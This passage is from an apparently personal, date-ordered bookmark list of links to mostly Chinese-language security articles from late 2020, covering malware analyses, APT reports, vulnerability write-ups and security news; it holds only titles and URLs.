Issues](https://loccs.sjtu.edu.cn/gossip//blog/2020/08/07/characterizing-android-app-signing-issues/) - 10.9 [CSP策略原理&&绕过方法(基础篇)](https://www.freebuf.com/articles/blockchain-articles/251496.html) - 10.9 [ZeroLogon(CVE-2020-1472) 分析与狩猎](https://www.anquanke.com/post/id/219090) - 10.9 [HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet](https://blog.netlab.360.com/heh-an-iot-p2p-botnet-cn/) - 10.9 [研究人员在 Microsoft Azure 云服务中发现漏洞](http://hackernews.cc/archives/32439) - 10.9 [Microsoft warns of Android ransomware that activates when you press the Home button](https://www.zdnet.com/article/microsoft-warns-of-android-ransomware-that-activates-when-you-press-the-home-button/#ftag=RSSbaffb68) - 10.10 [Ryuk 勒索事件分析](https://paper.seebug.org/1355/) - 10.10 [Ttint: 一款通过2个0-day漏洞传播的IoT远控木马](https://www.anquanke.com/post/id/219022) - 10.10 [记一次针对鹅厂的盗号追踪——盗号,朋友,以及妹子的故事](https://www.freebuf.com/articles/web/251390.html) - 10.11 [一次病毒处理及分析](https://www.freebuf.com/articles/system/251549.html) - 10.12 [Android FART脱壳机流程分析](https://www.anquanke.com/post/id/219094) - 10.12 [疑似APT28最新键盘记录器样本分析](https://www.freebuf.com/news/251224.html) - 10.12 [一种新的 Golang 编写的木马](https://paper.seebug.org/1357/) - 10.13 [基于FastAPI实现的Frida-RPC工具-Arida解析](https://www.anquanke.com/post/id/218915) - 10.13 [TrickBot botnet survives takedown attempt, but Microsoft sets new legal precedent](https://www.zdnet.com/article/trickbot-botnet-survives-takedown-attempt-but-microsoft-sets-new-legal-precedent/#ftag=RSSbaffb68) - 10.13 [ZeroLogon的利用以及分析](https://www.anquanke.com/post/id/219374) - 10.14 [Phobos 勒索软件的 EKING 变体](https://paper.seebug.org/1367/) - 10.14 [渗透测试之黑白无常“续”](https://www.secpulse.com/archives/143210.html) - 10.14 [IoT环境下的渗透测试之构建高效WiFi破解字典](https://www.anquanke.com/post/id/219315) - 10.14 [安全技术|利用OpenVpn配置文件反制的武器化探索](https://www.secpulse.com/archives/143186.html) - 10.14 [微软再爆“死亡之ping”漏洞](https://www.anquanke.com/post/id/219503) - 10.14 [安卓逆向之自动化 JNI 静态分析](https://paper.seebug.org/1365/) - 10.14 [Android 进程间通信与逆向分析](https://paper.seebug.org/1364/) - 10.15 [MontysThree:工业网络间谍软件](https://www.kaspersky.com.cn/blog/montysthree-industrial-cyberspy/12046/) - 10.15 [Axe Hacks: Spinning Knobs And Flipping Switches](https://hackaday.com/2020/10/15/axe-hacks-spinning-knobs-and-flipping-switches/) - 10.15 [H5页面漏洞挖掘之路-加密篇](https://www.secpulse.com/archives/143540.html) - 10.15 [针对中东石油和天然气供应链的攻击](https://paper.seebug.org/1368/) - 10.15 [远程侧信道攻击区块链匿名交易](https://www.anquanke.com/post/id/219106) - 10.15 [Iranian Hacking Group Again Targets Universities](https://www.govinfosecurity.com/iranian-hacking-group-again-targets-universities-a-15182) - 10.16 [全国移动App第三季度安全研究报告发布](https://www.freebuf.com/articles/network/251972.html) - 10.16 [适用于Android和iOS的Instagram App中的远程代码执行漏洞](https://www.anquanke.com/post/id/219086) - 10.16 [关于 Mozi 僵尸网络近期活跃态势报告](https://www.anquanke.com/post/id/219670) - 10.16 [APT组织结合利用VPN和Windows Zerologon漏洞攻击美国政府网络](https://www.freebuf.com/vuls/251896.html) - 10.16 [揭秘!不为人知的银行卡“四件套”买卖黑灰产江湖](https://www.anquanke.com/post/id/219543) - 10.16 [揭秘“假靳东”背后的黑色产业链](https://www.anquanke.com/post/id/219658) - 10.19 [色情版“微信”背后的秘密](https://www.anquanke.com/post/id/219729) - 10.19 [针对中东石油和天然气供应链的攻击](https://paper.seebug.org/1368/) - 10.19 [针对微信小程序的渗透测试](https://www.secpulse.com/archives/143715.html) - 10.19 [针对微信小程序的渗透测试](https://www.secpulse.com/archives/143715.html) - 10.19 [GravityRAT: The spy returns](https://securelist.com/gravityrat-the-spy-returns/99097/) - 10.19 [高发诈骗!骗子“盯”上支付宝,有人被骗上万元](https://www.anquanke.com/post/id/219784) - 10.20 [研究人员通过 Mirai 恶意软件 payload 确定了两个新的 IoT 漏洞](https://paper.seebug.org/1375/) - 10.20 [Donot team组织(apt-35)针对“微信群体”攻击活动分析](https://www.anquanke.com/post/id/219995) - 10.20 [KimSuky各类攻击手法浅析](https://www.anquanke.com/post/id/219593) - 10.21 [由垃圾邮件投递的白加黑远控木马分析](https://www.anquanke.com/post/id/219838) - 10.21 [Zimbra 漏洞分析之路](https://www.anquanke.com/post/id/220239) - 10.21 [大量伪造 Amazon Japan 邮件的网络钓鱼活动](https://paper.seebug.org/1374/) - 10.21 [Windows GravityRAT 恶意软件现在开始攻击 Android 和 macOS](http://hackernews.cc/archives/32742) - 10.23 [安全客直播录屏+解读—Hacking all the cars Tesla 远程API逆向分析与利用](https://www.anquanke.com/post/id/220554) - 10.23 [ATT CK实战:Vulnstack靶场实战(一)](https://www.freebuf.com/articles/web/252594.html) - 10.23 [T-RAT 2.0:通过智能手机控制恶意软件](https://paper.seebug.org/1379/) - 10.23 [Windows横向移动全攻略(三):DLL劫持](https://www.anquanke.com/post/id/220329) - 10.23 [小程序 | 对酒店房间自助售货机的支付漏洞挖掘](https://www.secpulse.com/archives/144230.html) - 10.26 [Shiro 组件漏洞与攻击链分析](https://paper.seebug.org/1378/) - 10.26 [200多人因“拼多多”砍价被盗刷?安全专家解读来了](https://www.anquanke.com/post/id/220597) - 10.26 [如何利用Calendar Alerts在macOS上实现持久化](https://www.freebuf.com/articles/system/252798.html) - 10.26 [Linux APT攻击概述](https://www.freebuf.com/articles/paper/252977.html) - 10.26 [Tomcat 内存马检测](https://paper.seebug.org/1381/) - 10.26 [充值漏洞之先充两个亿](https://www.secpulse.com/archives/144365.html) - 10.27 [俄罗斯政府支持的高级黑客持续攻击美国政府网络](https://paper.seebug.org/1383/) - 10.28 [Welcome to ThreatPursuit VM: A Threat Intelligence and Hunting Virtual Machine](http://www.fireeye.com/blog/threat-research/2020/10/threatpursuit-vm-threat-intelligence-and-hunting-virtual-machine.html) - 10.28 [Ryuk Ransomware Delivered Using Malware-as-a-Service Tool](https://www.databreachtoday.com/ryuk-ransomware-delivered-using-malware-as-a-service-tool-a-15258) - 10.28 [记一次微信小程序渗透测试](https://www.secpulse.com/archives/144738.html) - 10.28 [Hacking All The Cars - Tesla 远程API分析与利用(下)](https://www.anquanke.com/post/id/220907) - 10.29 [安全研究 | 记一次HTTPS中间人攻击实验](https://www.freebuf.com/vuls/253343.html) - 10.29 [腾讯主机安全(云镜)捕获WatchBogMiner挖矿木马新变种,约8000台服务器受控挖矿](https://www.freebuf.com/articles/system/253433.html) - 10.29 [谨防垃圾邮件,小心感染Emotet银行木马](https://www.secpulse.com/archives/144867.html) - 10.29 [热门黑产工具分析02:营销活动场景黑产拉锯战](https://www.anquanke.com/post/id/221025) - 10.30 [KashmirBlack 僵尸网络劫持了数千个运行在主流 CMS 平台上的网站](http://hackernews.cc/archives/33093) - 10.30 [看一名Java开发人员以红队思维五分钟审计一套代码(3)](https://www.freebuf.com/articles/web/253361.html) - 10.30 [APT28针对IOT设备(网络)的攻击和控制方式](https://www.freebuf.com/news/253332.html) - 10.30 [黑产工具分析02:营销活动场景黑产拉锯战](https://www.freebuf.com/articles/network/253385.html) - 10.30 [Browser Bugs Exploited to Install 2 New Backdoors on Targeted Computers](http://feedproxy.google.com/~r/TheHackersNews/~3/Adfwd-GBINQ/browser-exploit-backdoor.html) - 10.30 [0202年了怎么还有人在玩自动阅读](https://www.anquanke.com/post/id/221117) - 10.30 [远程控制:如何用欺骗技术操纵攻击者的行动](https://www.freebuf.com/articles/network/253567.html) - 10.30 [利用heroku隐藏C2服务器](https://www.anquanke.com/post/id/220868) - 10.30 [Turla 黑客组织使用 HyperStack、Carbon 和 Kazuar 攻击欧洲政府组织](https://paper.seebug.org/1385/) - 0x10 - 11.2 [不偷手机,照样隔空盗取验证码!](https://www.freebuf.com/news/253720.html) - 11.2 [【天枢实验室】物联网资产标记方法研究(二):基于聚类算法的物联网资产识别算法](http://blog.nsfocus.net/iot-asset-identification-clustering-algorithm-1031/) - 11.2 [North Korea-Linked APT Group Kimsuky spotted using new malware](https://securityaffairs.co/wordpress/110306/apt/kimsuky-apt-new-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=kimsuky-apt-new-malware) - 11.2 [New NAT/Firewall Bypass Attack Lets Hackers Access Any TCP/UDP Service](http://feedproxy.google.com/~r/TheHackersNews/~3/P8N5EKhmrZs/new-natfirewall-bypass-attack-lets.html) - 11.3 [警惕国产挖矿木马CPLMiner利用WMI驻留挖矿](https://www.secpulse.com/archives/145115.html) - 11.3 [西湖论剑 Flagshop 分析复现](https://www.freebuf.com/articles/network/253894.html) - 11.3 [美人鱼APT组织的归来——使用最新的Foudre后门进行攻击活动的分析](https://www.anquanke.com/post/id/221399) - 11.5 [KONNI APT组织伪装安全功能应用的攻击活动剖析](https://www.anquanke.com/post/id/221632) - 11.5 [APP安全测试基础:实践起点](https://www.freebuf.com/articles/web/253287.html) - 11.6 [Joker Playing Hide-and-Seek with Google Play](https://www.zscaler.com/blogs/company-news/joker-playing-hide-and-seek-google-play) - 11.6 [Android Spyware Targeting Tanzania Premier League](https://www.zscaler.com/blogs/security-research/android-spyware-targeting-tanzania-premier-league) - 11.6 [Fake VPN Sites Deliver Infostealers](https://www.zscaler.com/blogs/security-research/fake-vpn-sites-deliver-infostealers) - 11.6 [DHDiscover反射攻击:可将攻击放大近200倍](https://www.freebuf.com/news/254107.html) - 11.6 [愿世间所有漏洞与你环环相扣](https://www.secpulse.com/archives/145353.html) - 11.6 [关于 Trickbot 恶意软件新增的 Anchor 模块分析](https://paper.seebug.org/1392/) - 11.6 [移动设备的威胁,以及如何抵御它们](https://www.kaspersky.com.cn/blog/mobile-malware-part-1/12156/) - 11.7 [Let's Encrypt warns about a third of Android devices will from next year stumble over sites that use its certs](https://go.theregister.com/feed/www.theregister.com/2020/11/06/android_encryption_certs/) - 11.9 [StraySheep:在网络上自动收集多步骤社会工程攻击](https://www.anquanke.com/post/id/221902) - 11.9 [两步“截获”你的手机信息,骗子到底是怎么做到的?](https://www.anquanke.com/post/id/221995) - 11.9 [深入 FRIDA-DEXDump 中的矛与盾](https://www.anquanke.com/post/id/221905) - 11.9 [基于打印机跳板技术的新型C2及其检测方法(下篇)](https://www.anquanke.com/post/id/221634) - 11.11 [Hackers Stealing and Selling VoIP Access](https://www.govinfosecurity.com/hackers-stealing-selling-voip-access-a-15325) - 11.11 [技术文章 | windows横向渗透中的令牌完整性限制](https://www.secpulse.com/archives/145590.html) - 11.11 [攻防演习之攻击溯源](https://www.freebuf.com/articles/network/254402.html) - 11.11 [Wroba: The Android banking trojan targets Japan](https://prod-blog.avira.com/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan) - 11.12 [自动化漏洞挖掘](https://www.freebuf.com/sectool/254676.html) - 11.12 [从溯源中学到新姿势](https://www.freebuf.com/articles/web/254538.html) - 11.12 [一名二进制CTF选手的一点心得](https://www.freebuf.com/articles/web/254642.html) - 11.12 [警告!新的 Android 银行木马从 112 个金融APP中窃取数据](http://hackernews.cc/archives/33374) - 11.12 [WOW64!Hooks:深入考察WOW64子系统运行机制及其Hooking技术(上)](https://www.anquanke.com/post/id/222243) - 11.13 [WOW64!Hooks:深入考察WOW64子系统运行机制及其Hooking技术(下)](https://www.anquanke.com/post/id/222248) - 11.13 [学会这一个,让欺骗防御无人识破!](https://www.freebuf.com/articles/network/254785.html) - 11.13 [DeFi借贷协议Akropolis重入攻击事件分析](https://www.freebuf.com/articles/blockchain-articles/254776.html) - 11.13 [微软轻量级系统监控工具sysmon原理与实现完全分析——ProcessGuid的生成](https://www.anquanke.com/post/id/222214) - 11.13 [打码平台背后,血汗工厂下的打码工人](https://www.freebuf.com/news/254659.html) - 11.13 [New TroubleGrabber malware targets Discord users](https://securityaffairs.co/wordpress/110887/malware/troublegrabber-discord-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=troublegrabber-discord-malware) - 11.14 [TCL 的 Android 智能电视曝出允许远程控制的漏洞](https://www.solidot.org/story?sid=66094) - 11.16 [SAD DNS——新的缺陷重新启用 DNS 缓存中毒攻击](http://hackernews.cc/archives/33417) - 11.16 [一次漏洞利用实战案例分享](https://www.freebuf.com/vuls/254811.html) - 11.16 [神经网络与随机数的安全性分析(上)](https://www.anquanke.com/post/id/222477) - 11.16 [TroubleGrabber 恶意软件通过 Discord 窃取凭证](https://paper.seebug.org/1399/) - 11.16 [Attackers Target Porn Site Goers in ‘Malsmoke’ Zloader Attack](https://threatpost.com/attackers-porn-malsmoke-zloader-attack/161277/) - 11.17 [黑客利用木马安全软件针对韩国用户进行供应链攻击](http://hackernews.cc/archives/33438) - 11.17 [More Ransomware-as-a-Service Operations Seek Affiliates](https://www.govinfosecurity.com/more-ransomware-as-a-service-operations-seek-affiliates-a-15378) - 11.17 [APP漏洞挖掘之捡漏技巧](https://www.secpulse.com/archives/146521.html) - 11.17 [Linux.Ngioweb 僵尸网络快速更新,正在瞄准物联网设备](https://paper.seebug.org/1400/) - 11.18 [一次QuasarRAT的利用活动发现分析](https://www.anquanke.com/post/id/222801) - 11.18 [GravityRAT针对Android设备的间谍行为分析](https://www.anquanke.com/post/id/222330) - 11.18 [Brace for DNS Spoofing: Cache Poisoning Flaws Discovered](https://www.govinfosecurity.com/brace-for-dns-spoofing-cache-poisoning-flaws-discovered-a-15389) - 11.19 [ZeroLogon 已被黑客组织大量用于全球范围内的工业攻击](http://hackernews.cc/archives/33538) - 11.19 [Cicada 黑客组织针对日本公司的持续性恶意攻击](https://paper.seebug.org/1402/) - 11.19 [RASP攻防:RASP安全应用与局限性浅析](https://www.freebuf.com/articles/network/250324.html) - 11.20 [Operation Earth Kitsune 水坑攻擊駭入網站監控使用者系統](http://www.informationsecurity.com.tw/article/article_detail.aspx?tv=71&aid=8896) - 11.20 [探索先进自动化漏洞挖掘技术中的不足](https://paper.seebug.org/1404/) - 11.20 [响尾蛇APT组织利用“一带一路”话题针对相关参会人员发起网络攻击](https://www.anquanke.com/post/id/223135) - 11.20 [sshd 后门分析与团伙归类](https://www.anquanke.com/post/id/223061) - 11.20 [ModPipe后门打入了酒店业使用的POS软件](https://www.anquanke.com/post/id/222624) - 11.20 [掘金行动(Operation Gold Hunting)——目标瞄准前沿科技行业](https://www.anquanke.com/post/id/222840) - 11.20 [针对小程序的漏洞挖掘](https://www.freebuf.com/articles/web/255457.html) - 11.20 [2 Arrested for Operating Malware Encryption Service](https://www.govinfosecurity.com/2-arrested-for-operating-malware-encryption-service-a-15426) - 11.21 [Qbot Banking Trojan Now Deploying Egregor Ransomware](https://www.govinfosecurity.com/qbot-banking-trojan-now-deploying-egregor-ransomware-a-15430) - 11.23 [国外某工业SCADA软件漏洞复现](https://www.anquanke.com/post/id/222680) - 11.23 [Java安全之Jdk7u21链分析](https://www.anquanke.com/post/id/222630) - 11.24 [TA416 APT Rebounds With New PlugX Malware Variant](https://threatpost.com/ta416-apt-plugx-malware-variant/161505/) - 11.24 [干货满满游戏反作弊文章](https://www.freebuf.com/articles/system/255632.html) - 11.24 [浅析Punycode钓鱼攻击](https://www.secpulse.com/archives/147029.html) - 11.25 [New malware fraudulently subscribes victims to premium phone services](https://www.hackread.com/android-malware-subscribes-users-premium-phone-services/) - 11.25 [China's Baidu Android Apps Caught Collecting Sensitive User Data](http://feedproxy.google.com/~r/TheHackersNews/~3/BtFAavfeXd8/baidus-android-apps-caught-collecting.html) - 11.25 [Stantinko's Linux malware now poses as an Apache web server](https://www.zdnet.com/article/stantinkos-linux-malware-now-poses-as-an-apache-web-server/#ftag=RSSbaffb68) - 11.25 [‘Minecraft Mods’ Attack More Than 1 Million Android Devices](https://threatpost.com/minecraft-mods-attack-android-devices/161567/) - 11.25 [Linux Botnet Disguises Itself as Apache Server](https://www.databreachtoday.com/linux-botnet-disguises-itself-as-apache-server-a-15461) - 11.25 [ImageMagick PDF解析漏洞允许黑客执行shell命令](https://www.freebuf.com/vuls/255854.html) - 11.25 [热门黑产工具分析03:爬取电商商业数据的蛀虫](https://www.anquanke.com/post/id/223491) - 11.25 [DNSMon: 用DNS数据进行威胁发现](https://blog.netlab.360.com/use-dns-data-produce-threat-intelligence/) - 11.25 [Muhstik僵尸网络木马来袭,挖矿、攻击两不误](https://www.secpulse.com/archives/147590.html) - 11.25 [近期东欧地区某黑产团伙以博彩为主题的钓鱼文档分析](https://www.anquanke.com/post/id/223136) - 11.26 [恶意软件 WAPDropper 滥用 Android 设备进行 WAP 欺诈](http://hackernews.cc/archives/33668) - 11.26 [直播平台里的“房间密码”,藏匿着见不得光的秘密](https://www.anquanke.com/post/id/223225) - 11.26 [CTF密码学之RSA攻击算法](https://www.secpulse.com/archives/147760.html) - 11.26 [慢雾:简析 Pickle Finance 被黑过程](https://www.freebuf.com/articles/blockchain-articles/255664.html) - 11.26 [杀不死的Emotet](https://www.anquanke.com/post/id/222639) - 11.26 [钱包黑洞:Lazarus 组织近期在加密货币方面的隐蔽攻击活动](https://www.freebuf.com/articles/paper/255891.html) - 11.26 [SSH协议流量解密与会话还原](https://www.anquanke.com/post/id/222638) - 11.27 [Docker化自动采集&模拟恶意软件环境](https://www.secpulse.com/archives/147799.html) - 11.27 [Digitally Signed Bandook Malware Once Again Targets Multiple Sectors](http://feedproxy.google.com/~r/TheHackersNews/~3/O0XhSdyyigM/digitally-signed-bandook-malware-once.html) - 11.30 [Java程序恶意行为监控组件](https://www.freebuf.com/articles/compliance/256099.html) - 11.30 [iOS设备指纹的前世今生](https://www.freebuf.com/articles/mobile/256050.html) - 11.30 [研究人员使用激光从远处攻击智能音箱](https://www.freebuf.com/vuls/256194.html) - 11.30 [Xbox漏洞可让黑客将玩家标签与玩家的电子邮件链接起来](https://www.freebuf.com/vuls/256192.html) - 11.30 [勒索攻击新趋势,DarkSide解密工具](https://www.freebuf.com/articles/system/256107.html) - 11.30 [利用混合方法检测DDoS攻击及分类](https://www.anquanke.com/post/id/222106) - 11.30 [330万台老人机被植入木马,老年人的网络安全该如何保障](https://www.freebuf.com/news/256147.html) - 11.30 [Lazarus组织对加密货币行业持续发起攻击](https://www.anquanke.com/post/id/224157) - 11.30 [你真的会信息收集吗?](https://www.freebuf.com/sectool/256232.html) - 0x11 - 12.1 [Let’s Encrypt Will Stop Working For Older Android Devices](https://hackaday.com/2020/12/01/lets-encrypt-will-stop-working-for-older-android-devices/) - 12.1 [IP地理定位在威胁情报和网络安全中的应用](https://www.freebuf.com/news/256359.html) - 12.1 [攻击者利用恶意软件绕过DNA检测,或引发“生物战”](https://www.freebuf.com/news/256348.html) - 12.1 [安全人员对 APT 黑客攻击的调查](https://paper.seebug.org/1414/) - 12.1 [内网横向移动思路和技巧](https://www.secpulse.com/archives/148195.html) - 12.2 [黑客耗时六个月发现苹果设备漏洞 不接触就能全权掌控](http://hackernews.cc/archives/33825) - 12.2 [有黑客组织利用 macOS 后门对越南地区 Mac 用户发起攻击](http://hackernews.cc/archives/33762) - 12.2 [恶意软件分析:银行木马Ghimob开始对移动端设备下手](https://www.freebuf.com/articles/mobile/256391.html) - 12.2 [Potato家族本地提权分析](https://www.freebuf.com/articles/web/256360.html) - 12.3 [专家发现俄罗斯恶意软件“Crutch”用于 APT 攻击达 5 年之久](http://hackernews.cc/archives/33854) - 12.3 [移动智能终端用户隐私防跟踪技术研究 | CIS 2020大会议题前瞻](https://www.freebuf.com/fevents/256566.html) - 12.3 [Virtio:一种Linux I/O虚拟化框架](https://www.anquanke.com/post/id/224001) - 12.3 [HTTP协议攻击方法汇总(上)](https://www.anquanke.com/post/id/224321) - 12.3 [Checkpoint ICA 管理工具漏洞研究](https://www.anquanke.com/post/id/224455) - 12.3 [恶意代码从“新”分析](https://www.anquanke.com/post/id/224548) - 12.3 [电商风险之刷单浅析](https://www.anquanke.com/post/id/224331) - 12.4 [移动设备的威胁,以及如何抵御它们——第3部分](https://www.kaspersky.com.cn/blog/mobile-malware-part-3/12314/) - 12.4 [浅谈蚁剑asp马和php马流量加密](https://www.anquanke.com/post/id/223784) - 12.4 [唯利是图还是政治阴谋?黑客攻击新冠疫苗冷链企业](https://www.freebuf.com/news/256623.html) - 12.4 [零点击,Google披露黑掉iPhone手机的Exp](https://www.freebuf.com/vuls/256572.html) - 12.5 [XXE漏洞详解——进阶篇](https://www.freebuf.com/articles/web/256728.html) - 12.6 [神操作!俄罗斯黑客组织竟然使用Dropbox来存储恶意软件窃取到的数据](https://www.anquanke.com/post/id/224819) - 12.7 [买色情“电影资源”?小心被贴“色粉”标签黑市出卖](https://www.anquanke.com/post/id/224818) - 12.7 [【组件攻击链】Spring全家桶各类RCE漏洞浅析](https://www.secpulse.com/archives/148624.html) - 12.7 [利用官网getshell](https://www.secpulse.com/archives/148621.html) - 12.7 [Gartner发布2020年端点安全技术成熟度曲线报告](https://www.freebuf.com/news/256859.html) - 12.7 [新的 npm 恶意软件带有 Bladabindi 木马](https://paper.seebug.org/1421/) - 12.7 [WAPDropper恶意软件-悄悄为你订阅高级服务](https://www.anquanke.com/post/id/224775) - 12.7 [WordPress插件File-Manager任意文件上传漏洞](https://www.freebuf.com/vuls/256888.html) - 12.8 [伊朗 RANA Android 恶意软件监视即时通讯](http://hackernews.cc/archives/33939) - 12.8 [监守自盗!金立给用户手机植木马“拉活”牟取暴利](https://www.freebuf.com/news/256798.html) - 12.8 [独家揭秘!到底是谁在“生产”害人不浅的博彩APP?](https://www.anquanke.com/post/id/224966) - 12.8 [某款工控软件的覆盖SEH漏洞](https://www.freebuf.com/vuls/256718.html) - 12.8 [中国蚁剑无文件连接phpstudy后门实战](https://www.freebuf.com/sectool/256744.html) - 12.8 [“匿影”僵尸网络携新一轮勒索再临,360安全大脑独家揭秘攻击全链路](https://www.freebuf.com/articles/network/256666.html) - 12.8 [Kirenenko:像污点分析一样实现动态符号执行](https://www.anquanke.com/post/id/223220) - 12.8 [社会工程学攻击之亚洲红点传媒被盗事件](https://www.freebuf.com/articles/paper/256602.html) - 12.8 [腾讯主机安全(云镜)捕获RunMiner挖矿木马攻击,约1.6万台服务器沦陷](https://www.freebuf.com/articles/system/256589.html) - 12.10 [Android动态调试之不使用IDA](https://www.freebuf.com/articles/mobile/257380.html) - 12.10 [如何利用http tunnel使用burpsuite拦截某个app的tcp数据包(非http)做安全分析](https://www.freebuf.com/articles/web/257207.html) - 12.11 [逆向智能门锁漏洞分析PART(一)](https://www.secpulse.com/archives/149294.html) - 12.11 [构建欺骗防御体系:三大核心缺一不可](https://www.freebuf.com/articles/database/257453.html) - 12.11 [Ad-injecting malware hijacks Chrome, Edge, Firefox](http://feedproxy.google.com/~r/HelpNetSecurity/~3/Ri7rlbqt_QE/) - 12.11 [如何抵御”邪恶女仆”攻击](https://www.kaspersky.com.cn/blog/evil-maid-attack/12347/) - 12.11 [黑客组织利用 njRAT 以 Pastebin 为切入点进行恶意软件攻击](http://hackernews.cc/archives/34044) - 12.14 [操纵钓鱼诈骗“庄家”出现,利用木马“黑吃黑”反杀](https://www.anquanke.com/post/id/225427) - 12.14 [安卓|使用ptrace绕过ptrace反调试(二)](https://www.freebuf.com/sectool/257766.html) - 12.14 [FireEye红队工具失窃事件跟进分析](https://www.secpulse.com/archives/148613.html) - 12.14 [手机APP黑客手册](https://www.freebuf.com/articles/mobile/257784.html) - 12.14 [一个CS马伪装下的loader样本分析](https://www.freebuf.com/articles/web/257752.html) - 12.14 [逆向智能门锁漏洞分析PART(二)](https://www.secpulse.com/archives/149309.html) - 12.15 [SoReL-20M:一个由 2000 万个恶意软件样本组成的庞大数据集](http://hackernews.cc/archives/34095) - 12.15 [起底10万个微信号背后的灰色利益链 - 视点·观察 - cnBeta.COM](https://www.cnbeta.com/articles/tech/1062723.htm) - 12.15 [偷拍产业链“上游”:偷拍视频是如何获取的?](https://www.anquanke.com/post/id/225588) - 12.16 [PyMICROPSIA Windows malware includes checks for Linux and macOS](https://securityaffairs.co/wordpress/112335/apt/pymicropsia-malware.html?utm_source=feedly&utm_medium=rss&utm_campaign=pymicropsia-malware) - 12.16 [木马化开源软件的针对性攻击](https://paper.seebug.org/1429/) - 12.17 [占据攻防“先机”:如何利用安全情报降低攻击风险?](https://www.freebuf.com/articles/neopoints/258056.html) - 12.18 [偷拍产业链“下游”,谁在为偷拍视频“买单”?](https://www.anquanke.com/post/id/226008) - 12.18 [开源蜜罐T-Pot](https://www.freebuf.com/articles/database/258289.html) - 12.18 [SolarWinds供应链攻击事件分析](https://www.freebuf.com/news/258143.html) - 12.18 [腾讯主机安全捕获Ks3_Miner木马通过爆破SSH入侵云服务器挖矿](https://www.freebuf.com/articles/system/258149.html) - 12.18 [中国信通院统计:超7成电信诈骗与个人信息泄露有关](https://www.freebuf.com/news/258238.html) - 12.18 [隐藏在浏览器背后的“黑手”](https://www.secpulse.com/archives/149488.html) - 12.18 [SolarWinds旗下软件被用于供应链攻击事件分析](https://www.secpulse.com/archives/149464.html) - 12.18 [针对越南政府组织 VGCA 的软件供应链攻击](http://hackernews.cc/archives/34177) - 12.18 [5G 网络新漏洞使黑客可跟踪用户位置并窃取数据](http://hackernews.cc/archives/34181) - 12.19 [蓝牙的安全与威胁(上)](https://www.freebuf.com/articles/wireless/258153.html) - 12.19 [攻击者竟然将恶意RubyGems包用到了加密货币供应链攻击之中](https://www.anquanke.com/post/id/226001) - 12.20 [A massive fraud operation used mobile device emulators to steal millions from online bank accounts](https://securityaffairs.co/wordpress/112487/cyber-crime/massive-fraud-operation.html?utm_source=feedly&utm_medium=rss&utm_campaign=massive-fraud-operation) - 12.21 [史上影响力最大的APT攻击,已致全球数百家重要核心组织机构陷落](https://www.freebuf.com/news/258444.html) - 12.21 [HTTP协议攻击方法汇总(下)](https://www.anquanke.com/post/id/225955) - 12.21 [蔓灵花(Bitter)组织近期针对我国政府部门、科研机构发起攻击](https://www.anquanke.com/post/id/226094) - 12.21 [黑客组织 Pawn Storm 的非复杂性攻击策略](https://paper.seebug.org/1434/) - 12.21 [Zero-day exploit used to hack iPhones of Al Jazeera employees](https://securityaffairs.co/wordpress/112500/malware/al-jazeera-zeroday-hack.html?utm_source=feedly&utm_medium=rss&utm_campaign=al-jazeera-zeroday-hack) - 12.22 [【公益译文】应用于国防和国家安全的AI工程](http://blog.nsfocus.net/ai-engineering-1222/) - 12.22 [蓝牙的安全与威胁(中)](https://www.freebuf.com/articles/neopoints/258561.html) - 12.22 [商业银行互联网渠道产品流程风险浅析](https://www.freebuf.com/articles/neopoints/258502.html) - 12.22 [戴尔Wyse设备曝两个10分安全漏洞,可远程控制并修改文件](https://www.freebuf.com/news/258541.html) - 12.23 [诈骗“工具”进化史,你永远不知道骗子有多努力!](https://www.anquanke.com/post/id/226247) - 12.23 [国家级黑客使用iMessage漏洞攻击记者,无需点击即可触发](https://www.anquanke.com/post/id/226430) - 12.23 [360儿童卫士APP分析](https://www.secpulse.com/archives/149795.html) - 12.23 [【组件攻击链】禅道项目管理系统(ZenTaoPMS)高危漏洞分析与利用](https://www.secpulse.com/archives/149812.html) - 12.23 [信息泄露引发的资产失陷与检测分析](http://blog.nsfocus.net/ueba-1223/) - 12.24 [智能门铃——物联网的噩梦](https://www.secpulse.com/archives/150203.html) - 12.24 [IDApython实用技巧(衡量afl-fuzz路径hash算法碰撞问题)](https://www.anquanke.com/post/id/225404) - 12.24 [黑客与博彩业的黑吃黑大戏](https://www.anquanke.com/post/id/226482) - 12.24 [聊聊APT的溯源分析](https://www.freebuf.com/articles/neopoints/258706.html) - 12.24 [DLL劫持原理及其漏洞挖掘(一)](https://www.anquanke.com/post/id/225911) - 12.24 [Fake Amazon Gift Cards Deliver Dridex Trojan](https://www.databreachtoday.com/fake-amazon-gift-cards-deliver-dridex-trojan-a-15663) - 12.25 [UltraRank 黑客组织的新攻击](https://paper.seebug.org/1438/) - 12.25 [安全事件分析报告-2020下半年](https://www.anquanke.com/post/id/226662) - 12.25 [UltraRank 黑客组织的新攻击](http://hackernews.cc/archives/34369) - 12.25 [Emotet 僵尸网络每天攻击数 10 万个邮箱](http://hackernews.cc/archives/34356) - 12.27 [入侵检测系列1(下):基于私有协议的加密流量分析思路(Teamviewer篇)](https://www.anquanke.com/post/id/226531) - 12.28 [通过电子邮件营销服务进行网络钓鱼攻击](https://www.kaspersky.com.cn/blog/phishing-via-esp/12150/) - 12.28 [基于机器学习的漏洞检测高影响因素实证研究](https://www.anquanke.com/post/id/220795) - 12.28 [赌博永远赢不了的原因?“庄家”出老千!](https://www.anquanke.com/post/id/226741) - 12.28 [基于OWASP Modsecurity CRS规则的误报率和漏报率调试](https://www.freebuf.com/articles/web/243781.html) - 12.29 [黑客伪造付款表格 收集在线商店的付款信息](http://hackernews.cc/archives/34415) - 12.29 [A Google Docs Bug Could Have Allowed Hackers See Your Private Documents](https://thehackernews.com/2020/12/a-google-docs-bug-could-have-allowed.html) - 12.30 [Sunburst供应链攻击解析](https://www.freebuf.com/articles/database/259169.html) - 12.30 [深信服SSL VPN注入漏洞通告](https://www.anquanke.com/post/id/227085) - 12.30 [2020年网络安全十大影响力事件](https://www.anquanke.com/post/id/226921) - 12.30 [New AutoHotkey-Based Malware Targets US, Canadian Banks](https://www.databreachtoday.com/new-autohotkey-based-malware-targets-us-canadian-banks-a-15680) - 12.31 [使用IDA Python寻找二进制漏洞(第二部分)](https://www.anquanke.com/post/id/226995) - 12.31 [Tomcat容器攻防笔记之Listener内存马](https://www.anquanke.com/post/id/226769) - 12.31 [Kinsing 惡意軟體使用 